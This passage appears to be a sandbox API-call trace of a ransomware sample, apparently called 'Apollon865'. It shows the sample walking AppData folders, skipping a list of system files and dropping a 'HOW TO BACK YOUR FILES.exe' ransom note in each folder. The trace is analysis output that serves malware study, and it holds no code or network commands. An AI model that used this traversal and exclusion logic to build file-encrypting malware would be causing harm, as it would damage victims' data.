	[0054.604] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local" | out: lpString1="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local"
	[0054.604] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.605] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.605] GetLastError () returned 0x0
	[0054.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.605] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.605] CloseHandle (hObject=0x14c) returned 1
	[0054.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.605] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.605] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e627690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e627690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.605] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.605] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.605] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.605] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e627690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e627690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.605] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.605] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.605] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.605] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.605] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0054.605] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0054.606] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0054.606] lstrlenW (lpString="Application Data") returned 16
	[0054.606] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\*") returned 32
	[0054.606] lstrcpyW (in: lpString1=0x119e646, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0054.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0054.606] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5730
	[0054.606] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0054.606] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="Apollon865.txt.exe") returned 1
	[0054.606] lstrcmpiW (lpString1="History", lpString2=".") returned 1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="..") returned 1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="windows") returned -1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="temp") returned -1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="boot") returned 1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1
	[0054.606] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1
	[0054.607] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1
	[0054.607] lstrlenW (lpString="History") returned 7
	[0054.607] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Application Data") returned 47
	[0054.607] lstrcpyW (in: lpString1=0x119e646, lpString2="History" | out: lpString1="History") returned="History"
	[0054.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0054.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcb18
	[0054.607] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0054.607] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e0f2670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0f2670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.607] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.607] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e627690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0xbdaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Apollon865", cAlternateFileName="ICONCA~1.APO")) returned 1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2=".") returned 1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="..") returned 1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="windows") returned -1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="bootmgr") returned 1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="temp") returned -1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="pagefile.sys") returned -1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="boot") returned 1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="ids.txt") returned -1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="ntuser.dat") returned -1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="perflogs") returned -1
	[0054.607] lstrcmpiW (lpString1="IconCache.db.Apollon865", lpString2="MSBuild") returned -1
	[0054.607] lstrlenW (lpString="IconCache.db.Apollon865") returned 23
	[0054.607] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\History") returned 38
	[0054.607] lstrcpyW (in: lpString1=0x119e646, lpString2="IconCache.db.Apollon865" | out: lpString1="IconCache.db.Apollon865") returned="IconCache.db.Apollon865"
	[0054.607] lstrlenW (lpString="IconCache.db.Apollon865") returned 23
	[0054.607] lstrlenW (lpString="Apollon865") returned 10
	[0054.607] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0054.607] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e70bed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e70bed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0054.607] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0054.608] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0054.608] lstrlenW (lpString="Microsoft") returned 9
	[0054.608] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\IconCache.db.Apollon865") returned 54
	[0054.608] lstrcpyW (in: lpString1=0x119e646, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0054.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0054.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x598408
	[0054.608] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0054.608] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0054.608] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.608] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0054.608] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1
	[0054.608] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1
	[0054.608] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1
	[0054.608] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1
	[0054.608] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0
	[0054.608] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0054.608] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.608] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="Apollon865.txt.exe") returned 1
	[0054.608] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1
	[0054.608] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1
	[0054.608] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1
	[0054.609] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1
	[0054.609] lstrlenW (lpString="Temporary Internet Files") returned 24
	[0054.609] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned 40
	[0054.609] lstrcpyW (in: lpString1=0x119e646, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files"
	[0054.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0054.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a8a8
	[0054.609] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
	[0054.609] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0
	[0054.609] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.609] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a90
	[0054.609] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files"
	[0054.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0054.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0054.609] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned 55
	[0054.609] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files"
	[0054.609] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.609] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.610] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.610] GetLastError () returned 0x0
	[0054.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.610] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.610] CloseHandle (hObject=0x14c) returned 1
	[0054.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.611] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.611] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0xffffffff
	[0054.611] GetLastError () returned 0x5
	[0054.611] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\* FindFirstFile error 5\r\n") returned 89
	[0054.611] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\* FindFirstFile error 5\r\n") returned 89
	[0054.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.611] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2414
	[0054.611] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x59, lpOverlapped=0x0) returned 1
	[0054.611] CloseHandle (hObject=0x14c) returned 1
	[0054.612] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0054.612] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft"
	[0054.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0054.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0054.612] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned 40
	[0054.612] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft"
	[0054.612] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.612] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.614] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.614] GetLastError () returned 0x0
	[0054.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.614] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.614] CloseHandle (hObject=0x14c) returned 1
	[0054.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.614] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.614] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e70bed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e70bed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.617] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.617] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.617] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.617] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e70bed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e70bed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.617] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.617] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.617] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.617] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.617] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="Apollon865.txt.exe") returned 1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2=".") returned 1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="..") returned 1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="windows") returned -1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="bootmgr") returned 1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="temp") returned -1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="pagefile.sys") returned -1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="boot") returned 1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="ids.txt") returned -1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="ntuser.dat") returned -1
